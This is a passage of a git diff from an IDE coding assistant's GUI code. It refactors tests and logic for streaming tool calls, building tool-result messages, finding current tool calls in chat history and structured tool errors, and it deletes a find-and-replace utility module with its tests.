Setup streaming with tool call - async function* mockStreamWithTool() { + async function* mockStreamWithTool(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [{ role: "assistant", content: "I'll help you." }]; yield [ { @@ -3444,10 +2210,12 @@ describe("streamResponseThunk - tool calls", () => { prompt: "Do something", completion: "I'll help you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } - mockIdeMessenger.llmStreamChat.mockReturnValue(mockStreamWithTool()); + const mockChat = vi.fn().mockImplementation(() => mockStreamWithTool()); + mockIdeMessenger.llmStreamChat = mockChat; // Execute thunk - should handle error gracefully const result = await mockStore.dispatch( @@ -3465,92 +2233,59 @@ describe("streamResponseThunk - tool calls", () => { "tools/call", expect.any(Object), ); + + const state = mockStore.getState() as RootState; + expect(state.ui.dialogMessage).toBeUndefined(); }); it("should properly handle disabled commands and show error status", async () => { - const { mockStore, mockIdeMessenger } = setupTest(); - // Setup store with runTerminalCommand tool - const mockStoreWithTerminalTool = createMockStore({ - ...mockStore.getState(), - config: { - ...mockStore.getState().config, - config: { - ...mockStore.getState().config.config, - tools: [ - { - type: "function", - displayTitle: "Run Terminal Command", - function: { - name: "runTerminalCommand", - description: "Execute a terminal command", - parameters: { - type: "object", - properties: { - command: { - type: "string", - description: "The command to execute", - }, - }, - required: ["command"], - }, - }, - defaultToolPolicy: "allowedWithPermission", - readonly: false, - group: "code", - }, - ], - }, - }, - ui: { - ...mockStore.getState().ui, - toolSettings: { - runTerminalCommand: "allowedWithPermission", - }, - }, - }); + const initialState = getRootStateWithClaude(); + initialState.config.config.tools = [terminalTool]; + initialState.ui.toolSettings = { + runTerminalCommand: "allowedWithPermission", + }; + const mockStoreWithTerminalTool = createMockStore(initialState); const mockTerminalIdeMessenger = mockStoreWithTerminalTool.mockIdeMessenger; - // Setup compilation and policy evaluation responses - mockTerminalIdeMessenger.request.mockImplementation( - (endpoint: string, data: any) => { - if (endpoint === "llm/compileChat") { - return Promise.resolve({ - status: "success", - content: { - compiledChatMessages: [ - { role: "user", content: "Run eval command" }, - ], - didPrune: false, - contextPercentage: 0.9, - }, - }); - } else if (endpoint === "tools/evaluatePolicy") { - // Return disabled for eval command - const args = data.args || {}; - if (args.command && args.command.includes("eval")) { - return Promise.resolve({ - status: "success", - content: { policy: "disabled" }, - }); - } - return Promise.resolve({ - status: "success", - content: { policy: "allowedWithPermission" }, - }); - } else if (endpoint === "history/save") { - return Promise.resolve({ status: "success" }); - } else if (endpoint === "history/list") { - return Promise.resolve({ status: "success", content: [] }); + mockTerminalIdeMessenger.responseHandlers["llm/compileChat"] = async ( + data, + ) => { + const history = (mockStoreWithTerminalTool.getState() as RootState) + .session.history; + return { + compiledChatMessages: [ + ...history.map((i) => i.message), + { role: "user", content: "Run eval command" }, + ], + didPrune: false, + contextPercentage: 0.9, + }; + }; + + let numCalls = 0; + mockTerminalIdeMessenger.responseHandlers["tools/evaluatePolicy"] = + async (data) => { + const args = data.parsedArgs || {}; + numCalls++; + if ( + numCalls <= 1 && + args.command && + typeof args.command === "string" && + args.command.includes("eval") + ) { + return { policy: "disabled" }; } - return Promise.resolve({ status: "success", content: {} }); - }, - ); + return { policy: "allowedWithPermission" }; + }; // Setup streaming with eval command tool call - async function* mockStreamWithEvalCommand() { + async function* mockStreamWithEvalCommand(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [ { role: "assistant", content: "I'll run the eval command for you." }, ]; @@ -3574,12 +2309,14 @@ describe("streamResponseThunk - tool calls", () => { prompt: "Run eval command", completion: "I'll run the eval command for you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } - mockTerminalIdeMessenger.llmStreamChat.mockReturnValue( - mockStreamWithEvalCommand(), - ); + mockTerminalIdeMessenger.llmStreamChat = vi + .fn() + .mockImplementation(() => mockStreamWithEvalCommand()); + const requestSpy = vi.spyOn(mockTerminalIdeMessenger, "request"); // Execute thunk await mockStoreWithTerminalTool.dispatch( @@ -3590,7 +2327,7 @@ describe("streamResponseThunk - tool calls", () => { ); // Get final state - const finalState = mockStoreWithTerminalTool.getState(); + const finalState = mockStoreWithTerminalTool.getState() as RootState; const toolCallStates = finalState.session.history.flatMap( (item) => item.toolCallStates || [], ); @@ -3611,11 +2348,13 @@ describe("streamResponseThunk - tool calls", () => { expect(errorOutput?.content).toContain("disabled"); // Verify the command was NOT executed (no tool/call request) - const toolCallRequests = - mockTerminalIdeMessenger.request.mock.calls.filter( - (call) => call[0] === "tools/call", - ); + const toolCallRequests = requestSpy.mock.calls.filter( + (call) => call[0] === "tools/call", + ); expect(toolCallRequests).toHaveLength(0); + + const state = mockStoreWithTerminalTool.getState() as RootState; + expect(state.ui.dialogMessage).toBeUndefined(); }); }); }); diff --git a/gui/src/redux/thunks/streamThunkWrapper.tsx b/gui/src/redux/thunks/streamThunkWrapper.tsx index 0a29f3a8f..4454246cd 100644 --- a/gui/src/redux/thunks/streamThunkWrapper.tsx +++ b/gui/src/redux/thunks/streamThunkWrapper.tsx @@ -13,7 +13,6 @@ export const streamThunkWrapper = createAsyncThunk< () => Promise, ThunkApiType >("chat/streamWrapper", async (runStream, { dispatch, extra, getState }) => { - const initialState = getState(); try { await runStream(); const state = getState(); diff --git a/gui/src/redux/util/constructMessages.test.ts b/gui/src/redux/util/constructMessages.test.ts index 6fd213a75..f43ab6d80 100644 --- a/gui/src/redux/util/constructMessages.test.ts +++ b/gui/src/redux/util/constructMessages.test.ts @@ -5,6 +5,7 @@ import { ContextItemWithId, RuleWithSource, ThinkingChatMessage, + ToolCall, ToolResultChatMessage, UserChatMessage, } from "core"; @@ -435,27 +436,26 @@ describe("constructMessages", () => { }); test("should handle multiple tool calls in a single assistant message", () => { + const toolCall1: ToolCall = { + id: "tool-call-1", + type: "function", + function: { + name: "search", + arguments: '{"query": "test"}', + }, + }; + const toolCall2: ToolCall = { + id: "tool-call-2", + type: "function", + function: { + name: "weather", + arguments: '{"location": "New York"}', + }, + }; const assistantWithMultipleToolCalls: AssistantChatMessage = { role: "assistant", content: "I will search and check the weather", - toolCalls: [ - { - id: "tool-call-1", - type: "function", - function: { - name: "search", - arguments: '{"query": "test"}', - }, - }, - { - id: "tool-call-2", - type: "function", - function: { - name: "weather", - arguments: '{"location": "New York"}', - }, - }, - ], + toolCalls: [toolCall1, toolCall2], }; // Only the first tool call has output @@ -465,21 +465,20 @@ describe("constructMessages", () => { contextItems: [], toolCallStates: [ { - toolCallId: "tool-call-1", - toolCall: { - id: "tool-call-1", - type: "function", - function: { - name: "search", - arguments: '{"query": "test"}', - }, - }, + toolCallId: toolCall1.id, + toolCall: toolCall1, status: "done", parsedArgs: { query: "test" }, output: [ createContextItem("search-result", "Search result content"), ], }, + { + toolCallId: toolCall2.id, + toolCall: toolCall2, + status: "done", + parsedArgs: { location: "New York" }, + }, ], }, ]; @@ -957,27 +956,36 @@ describe("constructMessages", () => { expect(toolMessage.content).toBe(NO_TOOL_CALL_OUTPUT_MESSAGE); }); - test("should use NO_TOOL_CALL_OUTPUT_MESSAGE when toolCallState is undefined", () => { + test("should use NO_TOOL_CALL_OUTPUT_MESSAGE when toolCallState output is undefined", () => { + const toolCall: ToolCall = { + id: "search-call-1", + type: "function", + function: { + name: "search", + arguments: '{"query": "test"}', + }, + }; const assistantWithToolCall: AssistantChatMessage = { role: "assistant", content: "I'll search for that", - toolCalls: [ - { - id: "search-call-1", - type: "function", - function: { - name: "search", - arguments: '{"query": "test"}', - }, - }, - ], + toolCalls: [toolCall], }; mockHistory = [ { message: assistantWithToolCall, contextItems: [], - // No toolCallStates array + toolCallStates: [ + { + toolCall, + parsedArgs: { + query: "test", + }, + status: "generated", + toolCallId: toolCall.id, + // no output defined + }, + ], }, ]; diff --git a/gui/src/redux/util/constructMessages.ts b/gui/src/redux/util/constructMessages.ts index 9b3593082..46472f9e2 100644 --- a/gui/src/redux/util/constructMessages.ts +++ b/gui/src/redux/util/constructMessages.ts @@ -2,6 +2,7 @@ import { ChatHistoryItem, ChatMessage, ContextItemWithId, + RuleMetadata, RuleWithSource, TextMessagePart, ToolResultChatMessage, @@ -13,6 +14,7 @@ import { RulePolicies } from "core/llm/rules/types"; import { BuiltInToolNames } from "core/tools/builtIn"; import { CANCELLED_TOOL_CALL_MESSAGE, + ERRORED_TOOL_CALL_OUTPUT_MESSAGE, NO_TOOL_CALL_OUTPUT_MESSAGE, } from "core/tools/constants"; import { convertToolCallStatesToSystemCallsAndOutput } from "core/tools/systemMessageTools/convertSystemTools"; @@ -40,7 +42,7 @@ export function constructMessages( useSystemToolsFramework?: SystemMessageToolsFramework, ): { messages: ChatMessage[]; - appliedRules: RuleWithSource[]; + appliedRules: RuleMetadata[]; appliedRuleIndex: number; } { // Find the most recent conversation summary and filter history accordingly @@ -126,26 +128,25 @@ export function constructMessages( }); // Add a tool message for each tool call - if (item.message.toolCalls?.length) { + if (item.toolCallStates?.length) { // If the assistant message has tool calls, we need to insert tool messages - for (const toolCall of item.message.toolCalls) { + for (const toolCallState of item.toolCallStates) { + const { output, status, toolCall } = toolCallState; let content: string = NO_TOOL_CALL_OUTPUT_MESSAGE; - // Find the corresponding tool call state for this specific tool call - const toolCallState = item.toolCallStates?.find( - (state) => state.toolCallId === toolCall.id, - ); - - if (toolCallState?.status === "canceled") { + if (status === "canceled") { content = CANCELLED_TOOL_CALL_MESSAGE; - } else if ( - toolCallState?.output && - toolCall.function?.name == BuiltInToolNames.RunTerminalCommand - ) { - // Add status for tools containing detailed status outcomes per context item - content = renderContextItemsWithStatus(toolCallState.output); - } else if (toolCallState?.output) { - content = renderContextItems(toolCallState?.output); + } else if (output) { + if ( + toolCall.function?.name == BuiltInToolNames.RunTerminalCommand + ) { + // Add status for tools containing detailed status outcomes per context item + content = renderContextItemsWithStatus(output); + } else { + content = renderContextItems(output); + } + } else if (toolCallState.status === "errored") { + content = ERRORED_TOOL_CALL_OUTPUT_MESSAGE; } msgs.push({ diff --git a/gui/src/redux/util/index.test.ts b/gui/src/redux/util/index.test.ts index 8ca3c6494..ffac94a08 100644 --- a/gui/src/redux/util/index.test.ts +++ b/gui/src/redux/util/index.test.ts @@ -30,7 +30,7 @@ function createToolCallState( // Helper function to create a chat history item function createChatHistoryItem( - role: "user" | "assistant" | "tool", + role: "user" | "assistant" | "tool" | "thinking", content: string, options?: { toolCallStates?: ToolCallState[]; @@ -187,6 +187,82 @@ describe("findCurrentToolCalls", () => { const result = findAllCurToolCalls(chatHistory); expect(result).toEqual(toolCallStates); }); + + it("should return empty array if user message interrupts assistant sequence", () => { + const toolCallStates = [createToolCallState("tool-1", "get_weather")]; + const chatHistory = [ + createChatHistoryItem("assistant", "I'll check the weather", { + toolCallStates, + }), + createChatHistoryItem("user", "Actually, nevermind"), + createChatHistoryItem("assistant", "Ok, no problem"), + ]; + const result = findAllCurToolCalls(chatHistory); + expect(result).toEqual([]); + }); + + it("should handle thinking messages as part of assistant sequence", () => { + const toolCallStates = [createToolCallState("tool-1", "get_weather")]; + const chatHistory = [ + createChatHistoryItem("user", "What's the weather?"), + createChatHistoryItem("thinking", "I need to get weather data"), + createChatHistoryItem("assistant", "I'll check the weather", { + toolCallStates, + }), + ]; + const result = findAllCurToolCalls(chatHistory); + expect(result).toEqual(toolCallStates); + }); + + it("should find tool calls from last assistant message in sequence", () => { + const firstToolCallStates = [createToolCallState("tool-1", "get_weather")]; + const secondToolCallStates = [createToolCallState("tool-2", "get_time")]; + const chatHistory = [ + createChatHistoryItem("user", "What's the weather?"), + createChatHistoryItem("assistant", "Let me check", { + toolCallStates: firstToolCallStates, + }), + createChatHistoryItem("thinking", "Now I should also get the time"), + createChatHistoryItem("assistant", "And the time too", { + toolCallStates: secondToolCallStates, + }), + ]; + const result = findAllCurToolCalls(chatHistory); + expect(result).toEqual(secondToolCallStates); + }); + + it("should ignore tool calls from earlier conversation turns", () => { + const oldToolCallStates = [createToolCallState("old-tool", "old_function")]; + const newToolCallStates = [createToolCallState("new-tool", "new_function")]; + const chatHistory = [ + createChatHistoryItem("user", "First question"), + createChatHistoryItem("assistant", "First response", { + toolCallStates: oldToolCallStates, + }), + createChatHistoryItem("user", "Second question"), + createChatHistoryItem("assistant", "Second response", { + toolCallStates: newToolCallStates, + }), + ]; + const result = findAllCurToolCalls(chatHistory); + expect(result).toEqual(newToolCallStates); + }); + + it("should handle tool message followed by assistant message", () => { + const toolCallStates = [createToolCallState("tool-1", "get_weather")]; + const chatHistory = [ + createChatHistoryItem("user", "What's the weather?"), + createChatHistoryItem("assistant", "I'll check the weather", { + toolCallStates, + }), + createChatHistoryItem("tool", "Weather data: sunny", { + toolCallId: "tool-1", + }), + createChatHistoryItem("assistant", "It's sunny today!"), + ]; + const result = findAllCurToolCalls(chatHistory); + expect(result).toEqual([]); + }); }); describe("findToolCall", () => { diff --git a/gui/src/redux/util/index.ts b/gui/src/redux/util/index.ts index 2bceb8fb3..ad75f9cb5 100644 --- a/gui/src/redux/util/index.ts +++ b/gui/src/redux/util/index.ts @@ -41,17 +41,25 @@ export function findAllCurToolCalls( chatHistory: RootState["session"]["history"], ): ToolCallState[] { // Find the most recent assistant message that has tool call states + let seenAssistantMessage = false; + let passedAssistantMessage = false; for (let i = chatHistory.length - 1; i >= 0; i--) { const item = chatHistory[i]; - if ( - item.message.role === "assistant" && - item.toolCallStates && - item.toolCallStates.length > 0 - ) { - return item.toolCallStates; + if (item.message.role === "user") { + return []; + } + if (item.message.role === "assistant" || item.message.role === "thinking") { + seenAssistantMessage = true; + if (item.toolCallStates && item.toolCallStates.length > 0) { + return item.toolCallStates; + } + } else if (seenAssistantMessage) { + passedAssistantMessage = true; + } + if (passedAssistantMessage) { + return []; } } - return []; } @@ -66,7 +74,8 @@ export function findToolCallById( chatHistory: RootState["session"]["history"], toolCallId: string, ): ToolCallState | undefined { - for (const item of chatHistory) { + for (let i = chatHistory.length - 1; i >= 0; i--) { + const item = chatHistory[i]; if (item.toolCallStates) { const toolCallState = item.toolCallStates.find( (state) => state.toolCallId === toolCallId, @@ -84,7 +93,7 @@ export function findChatHistoryItemByToolCallId( chatHistory: RootState["session"]["history"], toolCallId: string, ): ChatHistoryItemWithMessageId | undefined { - return chatHistory.find( + return chatHistory.findLast( (item) => item.message.role === "tool" && item.message.toolCallId === toolCallId, ); diff --git a/gui/src/util/clientTools/callClientTool.ts b/gui/src/util/clientTools/callClientTool.ts index 509812b94..47b87fb7a 100644 --- a/gui/src/util/clientTools/callClientTool.ts +++ b/gui/src/util/clientTools/callClientTool.ts @@ -1,5 +1,6 @@ import { ContextItem, ToolCallState } from "core"; import { BuiltInToolNames } from "core/tools/builtIn"; +import { ContinueError, ContinueErrorReason } from "core/util/errors"; import { IIdeMessenger } from "../../context/IdeMessenger"; import { AppThunkDispatch, RootState } from "../../redux/store"; import { editToolImpl } from "./editImpl"; @@ -18,7 +19,7 @@ export interface ClientToolOutput { } export interface ClientToolResult extends ClientToolOutput { - errorMessage: string | undefined; + error?: ContinueError; } export type ClientToolImpl = ( @@ -51,18 +52,16 @@ export async function callClientTool( default: throw new Error(`Invalid client tool name ${toolCall.function.name}`); } - return { - ...output, - errorMessage: undefined, - }; + return output; } catch (e) { - let errorMessage = `${e}`; - if (e instanceof Error) { - errorMessage = e.message; - } return { respondImmediately: true, - errorMessage, + error: + e instanceof ContinueError + ? e + : e instanceof Error + ? new ContinueError(ContinueErrorReason.Unspecified, e.message) + : new ContinueError(ContinueErrorReason.Unknown, String(e)), output: undefined, }; } diff --git a/gui/src/util/clientTools/editImpl.ts b/gui/src/util/clientTools/editImpl.ts index ccc7cc3fa..d26826981 100644 --- a/gui/src/util/clientTools/editImpl.ts +++ b/gui/src/util/clientTools/editImpl.ts @@ -2,6 +2,7 @@ import { resolveRelativePathInDir } from "core/util/ideUtils"; import { v4 as uuid } from "uuid"; import { applyForEditTool } from "../../redux/thunks/handleApplyStateUpdate"; import { ClientToolImpl } from "./callClientTool"; + export const editToolImpl: ClientToolImpl = async ( args, toolCallId, diff --git a/gui/src/util/clientTools/findAndReplaceUtils.test.ts b/gui/src/util/clientTools/findAndReplaceUtils.test.ts deleted file mode 100644 index c898439b3..000000000 --- a/gui/src/util/clientTools/findAndReplaceUtils.test.ts +++ /dev/null @@ -1,477 +0,0 @@ -import { EditOperation } from "core/tools/definitions/multiEdit"; -import { describe, expect, it } from "vitest"; -import { - EMPTY_NON_FIRST_EDIT_MESSAGE, - FOUND_MULTIPLE_FIND_STRINGS_ERROR, - performFindAndReplace, - trimEmptyLines, - validateCreatingForMultiEdit, - validateSingleEdit, -} from "./findAndReplaceUtils"; - -describe("performFindAndReplace", () => { - describe("normal cases", () => { - it("should replace single occurrence by default", () => { - const content = "Hello world\nThis is a test file\nGoodbye"; - const result = performFindAndReplace(content, "Hello", "Hi"); - - expect(result).toBe("Hi world\nThis is a test file\nGoodbye"); - }); - - it("should replace single occurrence when replaceAll is false", () => { - const content = "Hello world\nHello again"; - const result = performFindAndReplace( - content, - "Hello world", - "Hi world", - false, - ); - - expect(result).toBe("Hi world\nHello again"); - }); - - it("should replace all occurrences when replaceAll is true", () => { - const content = "Hello world\nHello again\nHello there"; - const result = performFindAndReplace(content, "Hello", "Hi", true); - - expect(result).toBe("Hi world\nHi again\nHi there"); - }); - - it("should handle empty new string (deletion)", () => { - const content = "Hello world"; - const result = performFindAndReplace(content, "Hello ", ""); - - expect(result).toBe("world"); - }); - - it("should handle empty old string replacement (insertion at start)", () => { - const content = ""; - const result = performFindAndReplace(content, "", "Hello world"); - - expect(result).toBe("Hello world"); - }); - - it("should preserve whitespace and indentation", () => { - const content = - "function test() {\n const value = 'old';\n return value;\n}"; - const result = performFindAndReplace( - content, - " const value = 'old';", - " const value = 'new';", - ); - - expect(result).toBe( - "function test() {\n const value = 'new';\n return value;\n}", - ); - }); - - it("should handle multiline strings", () => { - const content = "line1\nline2\nline3"; - const result = performFindAndReplace( - content, - "line1\nline2", - "newline1\nnewline2", - ); - - expect(result).toBe("newline1\nnewline2\nline3"); - }); - }); - - describe("special character handling", () => { - it("should handle regex special characters in old string", () => { - const content = "const regex = /[a-z]+/g;"; - const result = performFindAndReplace(content, "/[a-z]+/g", "/[A-Z]+/g"); - - expect(result).toBe("const regex = /[A-Z]+/g;"); - }); - - it("should handle dollar signs in strings", () => { - const content = 'const text = "Hello $world"'; - const result = performFindAndReplace( - content, - '"Hello $world"', - '"Hi $universe"', - ); - - expect(result).toBe('const text = "Hi $universe"'); - }); - - it("should handle backslashes", () => { - const content = 'const path = "C:\\Users\\test"'; - const result = performFindAndReplace( - content, - "C:\\Users\\test", - "D:\\Users\\test", - ); - - expect(result).toBe('const path = "D:\\Users\\test"'); - }); - - it("should handle parentheses", () => { - const content = "function test() { return 'old'; }"; - const result = performFindAndReplace( - content, - "() { return 'old'; }", - "() { return 'new'; }", - ); - - expect(result).toBe("function test() { return 'new'; }"); - }); - - it("should handle square brackets", () => { - const content = "const arr = [1, 2, 3];"; - const result = performFindAndReplace(content, "[1, 2, 3]", "[4, 5, 6]"); - - expect(result).toBe("const arr = [4, 5, 6];"); - }); - }); - - describe("replaceAll behavior", () => { - it("should replace all occurrences including partial matches", () => { - const content = "test testing tested test"; - const result = performFindAndReplace(content, "test", "exam", true); - - expect(result).toBe("exam examing examed exam"); - }); - - it("should replace all occurrences with empty string", () => { - const content = "remove this remove that remove everything"; - const result = performFindAndReplace(content, "remove ", "", true); - - expect(result).toBe("this that everything"); - }); - - it("should handle overlapping patterns correctly", () => { - const content = "aaaa"; - const result = performFindAndReplace(content, "aa", "b", true); - - expect(result).toBe("bb"); - }); - }); - - describe("error cases", () => { - it("should throw error when string not found", () => { - const content = "Hello world"; - - expect(() => { - performFindAndReplace(content, "xyz", "abc"); - }).toThrow('string not found in file: "xyz"'); - }); - - it("should throw error with edit context when string not found", () => { - const content = "Hello world"; - - expect(() => { - performFindAndReplace(content, "xyz", "abc", false, 2); - }).toThrow('edit at index 2: string not found in file: "xyz"'); - }); - - it("should throw error when multiple occurrences exist and replaceAll is false", () => { - const content = "Hello world\nHello again\nHello there"; - - expect(() => { - performFindAndReplace(content, "Hello", "Hi", false); - }).toThrow( - `String "Hello" appears 3 times in the file. ${FOUND_MULTIPLE_FIND_STRINGS_ERROR}`, - ); - }); - - it("should throw error with edit context for multiple occurrences", () => { - const content = "test test test"; - - expect(() => { - performFindAndReplace(content, "test", "exam", false, 1); - }).toThrow( - `edit at index 1: String "test" appears 3 times in the file. ${FOUND_MULTIPLE_FIND_STRINGS_ERROR}`, - ); - }); - }); - - describe("edge cases", () => { - it("should handle single character replacement", () => { - const content = "a b c"; - const result = performFindAndReplace(content, "b", "x"); - - expect(result).toBe("a x c"); - }); - - it("should handle very long strings", () => { - const longString = "a".repeat(10000); - const content = `start${longString}end`; - const result = performFindAndReplace(content, longString, "short"); - - expect(result).toBe("startshortend"); - }); - - it("should handle strings at beginning of content", () => { - const content = "start middle end"; - const result = performFindAndReplace(content, "start", "begin"); - - expect(result).toBe("begin middle end"); - }); - - it("should handle strings at end of content", () => { - const content = "start middle end"; - const result = performFindAndReplace(content, "end", "finish"); - - expect(result).toBe("start middle finish"); - }); - - it("should handle entire content replacement", () => { - const content = "replace everything"; - const result = performFindAndReplace( - content, - "replace everything", - "new content", - ); - - expect(result).toBe("new content"); - }); - }); -}); - -describe("validateSingleEdit", () => { - describe("valid inputs", () => { - it("should not throw for valid non-empty strings", () => { - expect(() => { - validateSingleEdit("old", "new"); - }).not.toThrow(); - }); - - it("should allow empty old_string for file creation", () => { - expect(() => { - validateSingleEdit("", "new content"); - }).not.toThrow(); - }); - - it("should allow empty new_string for deletion", () => { - expect(() => { - validateSingleEdit("delete me", ""); - }).not.toThrow(); - }); - - it("should allow multiline strings", () => { - expect(() => { - validateSingleEdit("line1\nline2", "newline1\nnewline2"); - }).not.toThrow(); - }); - - it("should allow special characters", () => { - expect(() => { - validateSingleEdit("/[a-z]+/g", "/[A-Z]+/g"); - }).not.toThrow(); - }); - }); - - describe("invalid inputs", () => { - it("should throw error when old_string is null", () => { - expect(() => { - validateSingleEdit(null as any, "new"); - }).toThrow("old_string is required"); - }); - - it("should throw error when old_string is undefined", () => { - expect(() => { - validateSingleEdit(undefined as any, "new"); - }).toThrow("old_string is required"); - }); - - it("should throw error when new_string is undefined", () => { - expect(() => { - validateSingleEdit("old", undefined as any); - }).toThrow("new_string is required"); - }); - - it("should throw error when old_string and new_string are identical", () => { - expect(() => { - validateSingleEdit("same", "same"); - }).toThrow("old_string and new_string must be different"); - }); - - it("should throw error when both are empty strings", () => { - expect(() => { - validateSingleEdit("", ""); - }).toThrow("old_string and new_string must be different"); - }); - }); - - describe("error messages with context", () => { - it("should include edit number in error messages when index provided", () => { - expect(() => { - validateSingleEdit(null as any, "new", 2); - }).toThrow("edit at index 2: old_string is required"); - }); - - it("should include edit number for new_string errors", () => { - expect(() => { - validateSingleEdit("old", undefined as any, 0); - }).toThrow("edit at index 0: new_string is required"); - }); - - it("should include edit number for identical strings error", () => { - expect(() => { - validateSingleEdit("same", "same", 4); - }).toThrow( - "edit at index 4: old_string and new_string must be different", - ); - }); - - it("should not include context when index not provided", () => { - expect(() => { - validateSingleEdit("same", "same"); - }).toThrow("old_string and new_string must be different"); - }); - }); -}); - -describe("validateCreatingForMultiEdit", () => { - describe("single edit scenarios", () => { - it("should return true for creating with single edit", () => { - const edits: EditOperation[] = [ - { old_string: "", new_string: "new file content" }, - ]; - - const isCreating = validateCreatingForMultiEdit(edits); - expect(isCreating).toBe(true); - }); - - it("should return false for editing with single edit", () => { - const edits: EditOperation[] = [{ old_string: "old", new_string: "new" }]; - - const isCreating = validateCreatingForMultiEdit(edits); - expect(isCreating).toBe(false); - }); - }); - - describe("multiple edit scenarios - editing existing file", () => { - it("should return false for multiple edits on existing file", () => { - const edits: EditOperation[] = [ - { old_string: "old1", new_string: "new1" }, - { old_string: "old2", new_string: "new2" }, - { old_string: "old3", new_string: "new3" }, - ]; - - const isCreating = validateCreatingForMultiEdit(edits); - expect(isCreating).toBe(false); - }); - - it("should allow multiple valid edits on existing file", () => { - const edits: EditOperation[] = [ - { old_string: "import old", new_string: "import new" }, - { old_string: "function old()", new_string: "function new()" }, - { old_string: "return old;", new_string: "return new;" }, - ]; - - expect(() => validateCreatingForMultiEdit(edits)).not.toThrow(); - expect(validateCreatingForMultiEdit(edits)).toBe(false); - }); - }); - - describe("error cases", () => { - it("should throw error when trying to make subsequent edits on file creation", () => { - const edits: EditOperation[] = [ - { old_string: "", new_string: "new file content" }, - { old_string: "old", new_string: "new" }, - ]; - - expect(() => { - validateCreatingForMultiEdit(edits); - }).toThrow("cannot make subsequent edits on a file you are creating"); - }); - - it("should throw error when empty old_string appears in non-first edit", () => { - const edits: EditOperation[] = [ - { old_string: "old1", new_string: "new1" }, - { old_string: "", new_string: "new2" }, - ]; - - expect(() => { - validateCreatingForMultiEdit(edits); - }).toThrow(`edit at index 1: ${EMPTY_NON_FIRST_EDIT_MESSAGE}`); - }); - - it("should throw error with correct edit number for empty old_string", () => { - const edits: EditOperation[] = [ - { old_string: "old1", new_string: "new1" }, - { old_string: "old2", new_string: "new2" }, - { old_string: "", new_string: "new3" }, - ]; - - expect(() => { - validateCreatingForMultiEdit(edits); - }).toThrow(`edit at index 2: ${EMPTY_NON_FIRST_EDIT_MESSAGE}`); - }); - - it("should throw error for multiple empty old_strings in subsequent edits", () => { - const edits: EditOperation[] = [ - { old_string: "old1", new_string: "new1" }, - { old_string: "", new_string: "new2" }, - { old_string: "", new_string: "new3" }, - ]; - - expect(() => { - validateCreatingForMultiEdit(edits); - }).toThrow(`edit at index 1: ${EMPTY_NON_FIRST_EDIT_MESSAGE}`); - }); - }); - - describe("edge cases", () => { - it("should handle empty edits array gracefully", () => { - const edits: EditOperation[] = []; - - // This should not throw, but would likely cause issues elsewhere - // The function doesn't explicitly handle empty arrays - expect(() => { - validateCreatingForMultiEdit(edits); - }).toThrow(); // Will throw because edits[0] is undefined - }); - - it("should handle complex edit operations", () => { - const edits: EditOperation[] = [ - { - old_string: "function oldFunction() {\n return 'old';\n}", - new_string: "function newFunction() {\n return 'new';\n}", - replace_all: false, - }, - { - old_string: "const OLD_CONSTANT", - new_string: "const NEW_CONSTANT", - replace_all: true, - }, - ]; - - expect(() => validateCreatingForMultiEdit(edits)).not.toThrow(); - expect(validateCreatingForMultiEdit(edits)).toBe(false); - }); - - it("should handle edits with replace_all flags", () => { - const edits: EditOperation[] = [ - { old_string: "old", new_string: "new", replace_all: true }, - { old_string: "test", new_string: "exam", replace_all: false }, - ]; - - expect(() => validateCreatingForMultiEdit(edits)).not.toThrow(); - expect(validateCreatingForMultiEdit(edits)).toBe(false); - }); - }); -}); - -describe("trimEmptyLines", () => { - it("trims leading empty lines from start", () => { - const input = ["", "", "a", "", "b"]; - const result = trimEmptyLines({ lines: input, fromEnd: false }); - expect(result).toEqual(["a", "", "b"]); - }); - - it("trims trailing empty lines from end", () => { - const input = ["a", "", "b", "", ""]; - const result = trimEmptyLines({ lines: input, fromEnd: true }); - expect(result).toEqual(["a", "", "b"]); - }); - - it("returns empty array when all lines are empty", () => { - const input = ["", "", ""]; - const result = trimEmptyLines({ lines: input, fromEnd: false }); - expect(result).toEqual([]); - }); -}); diff --git a/gui/src/util/clientTools/findAndReplaceUtils.ts b/gui/src/util/clientTools/findAndReplaceUtils.ts deleted file mode 100644 index d610fb88d..000000000 --- a/gui/src/util/clientTools/findAndReplaceUtils.ts +++ /dev/null @@ -1,116 +0,0 @@ -import { EditOperation } from "core/tools/definitions/multiEdit"; - -export const FOUND_MULTIPLE_FIND_STRINGS_ERROR = - "Either provide a more specific string with surrounding context to make it unique, or use replace_all=true to replace all occurrences."; - -/** - * Performs a find and replace operation on text content with proper handling of special characters - */ -export function performFindAndReplace( - content: string, - oldString: string, - newString: string, - replaceAll: boolean = false, - index?: number, // For error messages -): string { - const errorContext = index !== undefined ? `edit at index ${index}: ` : ""; - // Check if old_string exists in current content - if (!content.includes(oldString)) { - throw new Error(`${errorContext}string not found in file: "${oldString}"`); - } - - if (replaceAll) { - // Replace all occurrences using replaceAll for proper handling of special characters - return content.replaceAll(oldString, newString); - } else { - // Handle empty oldString case (insertion) - if (oldString === "") { - return newString + content; - } - - // Count occurrences using indexOf for proper handling of special characters - let count = 0; - let searchIndex = content.indexOf(oldString); - while (searchIndex !== -1) { - count++; - searchIndex = content.indexOf(oldString, searchIndex + 1); - } - - if (count > 1) { - throw new Error( - `${errorContext}String "${oldString}" appears ${count} times in the file. ${FOUND_MULTIPLE_FIND_STRINGS_ERROR}`, - ); - } - - // Replace only the first occurrence - const firstIndex = content.indexOf(oldString); - return ( - content.substring(0, firstIndex) + - newString + - content.substring(firstIndex + oldString.length) - ); - } -} - -/** - * Validates a single edit operation - */ -export function validateSingleEdit( - oldString: string, - newString: string, - index?: number, -): void { - const context = index !== undefined ? `edit at index ${index}: ` : ""; - - if (!oldString && oldString !== "") { - throw new Error(`${context}old_string is required`); - } - if (newString === undefined) { - throw new Error(`${context}new_string is required`); - } - if (oldString === newString) { - throw new Error(`${context}old_string and new_string must be different`); - } -} - -export const EMPTY_NON_FIRST_EDIT_MESSAGE = - "contains empty old_string. Only the first edit can contain an empty old_string, which is only used for file creation."; -export function validateCreatingForMultiEdit(edits: EditOperation[]) { - const isCreating = edits[0].old_string === ""; - if (edits.length > 1) { - if (isCreating) { - throw new Error( - "cannot make subsequent edits on a file you are creating", - ); - } else { - for (let i = 1; i < edits.length; i++) { - if (edits[i].old_string === "") { - throw new Error( - `edit at index ${i}: ${EMPTY_NON_FIRST_EDIT_MESSAGE}`, - ); - } - } - } - } - - return isCreating; -} - -export function trimEmptyLines({ - 